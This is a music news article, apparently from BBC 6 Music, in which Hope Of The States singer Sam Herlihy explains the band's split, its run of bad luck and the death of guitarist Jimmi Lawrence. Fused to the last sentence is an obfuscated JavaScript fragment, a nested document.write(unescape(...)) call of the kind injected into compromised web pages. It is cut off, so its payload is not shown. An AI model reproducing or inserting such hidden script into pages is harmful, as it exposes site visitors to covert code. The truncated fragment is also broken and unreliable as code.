Hope Of The States reveal split decision

Hope Of The States frontman Sam Herlihy has spoken out for the first time about the band's recent decision to split.

The six-piece decided to call it a day after last month's shows at the Carling Weekend: Reading and Leeds Festivals after releasing two albums, this year's 'Left' and 2004 debut 'The Lost Riots'.

Despite rumours of internal tensions within the band, the singer denied that was the reason behind the split.

He told 6 Music's Music Week: "I think with all bands you can have friction and fight and we're definitely a different bunch of people. If you get those combinations then you get sparks but there was never anything kind of brutal. Our friendships were still there which is something we're all really pleased about."

The singer also revealed that he felt "cursed" by bad luck throughout their career, which saw the band suffer poor album sales, and the tragic death of guitarist Jimmi Lawrence, who committed suicide in January 2004.

He went on: "I think we felt that a lot. You think, 'God, being in a band is supposed to be fun. We've gotta catch a break one of these days.' I saw Serge from Kasabian on Soccer AM recently and he had to kick the ball through these inflatable hoops and he did this little flick and absolutely belted it through the hoop. He can play but it was a hell of a lucky shot. He took his top off and walked out of the studio and I thought, 'God, that guy's luck is right up there', and you see that in bands and it's amazing.

"I was always really gutted that we never tended to get those sort of breaks where you take your top off and march round. If that'd been me I probably would have hit a supporting joist in the roof and brought the whole building down."

The singer said that the band decided to call it a day at the Carling Weekend: Reading and Leeds Festivals because "we had some amazing times there both as punters and as a band and it just seemed the most sensible time to stop".

He added: "One of the things I'm most proud of is we stopped before we went rubbish and before we started doing things we'd always refused to do in the past out of some sense of desperation or being forced into things by people. We can be really proud of everything we did."

To hear the full interview go to bbc.co.uk/6music.document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;